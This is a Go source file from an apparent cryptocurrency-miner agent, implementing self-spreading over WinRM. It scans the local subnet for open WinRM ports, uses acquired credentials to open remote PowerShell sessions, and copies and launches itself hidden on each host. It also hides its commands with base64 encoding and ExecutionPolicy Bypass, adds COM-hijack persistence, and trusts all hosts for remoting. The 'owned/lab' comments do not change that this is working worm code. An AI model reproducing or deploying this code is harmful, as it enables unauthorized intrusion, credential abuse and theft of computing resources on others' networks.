//go:build windows package deploy import ( "encoding/base64" "fmt" "log" "os" "strings" "time" "unicode/utf16" "crypto-miner-agent/config" ) // attemptWinRMSpread deploys via WinRM session + encoded bootstrap (owned/lab). func attemptWinRMSpread(cfg config.RuntimeConfig, target string) { if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) { recordSpreadAttempt(target, false, "winrm port closed") return } exePath, err := os.Executable() if err != nil { recordSpreadAttempt(target, false, "executable path unavailable") return } destName := sharePayloadName(cfg) script := fmt.Sprintf(` $dest = Join-Path $env:TEMP '%s' Copy-Item -LiteralPath '%s' -Destination $dest -Force -EA SilentlyContinue if (Test-Path $dest) { Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden -EA SilentlyContinue } `, destName, strings.ReplaceAll(exePath, `'`, `''`)) encoded := encodePowerShell(script) var credSession SpreadCredSession ps := fmt.Sprintf(` $s = New-PSSession -ComputerName '%s' -EA SilentlyContinue if ($s) { Invoke-Command -Session $s -EncodedCommand '%s' -EA SilentlyContinue Remove-PSSession $s -EA SilentlyContinue } `, target, encoded) if session, ok := acquireSpreadCred(target, "winrm_encoded"); ok { credSession = session ps = winRMCredPSBlock(target, session, fmt.Sprintf("powershell -EncodedCommand '%s'", encoded)) } if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil { log.Printf("[autospread] WinRM encoded bootstrap succeeded on %s", target) recordSpreadAttempt(target, true, "") reportSpreadCredEdge(target, "winrm_encoded", credSession, true) if cfg.COMHijackPersist { _ = applyCOMHijackPersistence(exePath) } return } recordSpreadAttempt(target, false, "winrm invoke failed") reportSpreadCredEdge(target, "winrm_encoded", credSession, false) } func encodePowerShell(script string) string { utf16le := utf16.Encode([]rune(script)) buf := make([]byte, len(utf16le)*2) for i, r := range utf16le { buf[i*2] = byte(r) buf[i*2+1] = byte(r >> 8) } return base64.StdEncoding.EncodeToString(buf) } // spreadViaWinRM sweeps local /24 for WinRM-open hosts when WinRMSpread or AutoSpread is enabled. func spreadViaWinRM(cfg config.RuntimeConfig) { if !cfg.WinRMSpread && !cfg.AutoSpread { return } localIPs := getLocalIPs() var targets []string localSet := make(map[string]bool) for _, ip := range localIPs { localSet[ip] = true } for _, ip := range localIPs { if !isIPv4(ip) { continue } subnet := getSubnet(ip) if subnet == "" { continue } for i := 1; i < 255; i++ { candidate, ok := ipv4SweepHost(subnet, i) if !ok { break } if localSet[candidate] { continue } if portOpen(candidate, 5985, 400*time.Millisecond) || portOpen(candidate, 5986, 400*time.Millisecond) { targets = append(targets, candidate) } } } beginSpreadSweep("winrm_encoded", len(targets)) if len(targets) == 0 { finishSpreadSweepImmediate() return } for _, target := range targets { t := target spreadSem <- struct{}{} go func() { defer func() { <-spreadSem }() attemptWinRMSpread(cfg, t) }() } } // EnableLocalPSRemoting prepares this host for WinRM bootstrap templates (owned machines). func EnableLocalPSRemoting() error { ps := `Enable-PSRemoting -Force -SkipNetworkProfileCheck; Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force` return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", ps) }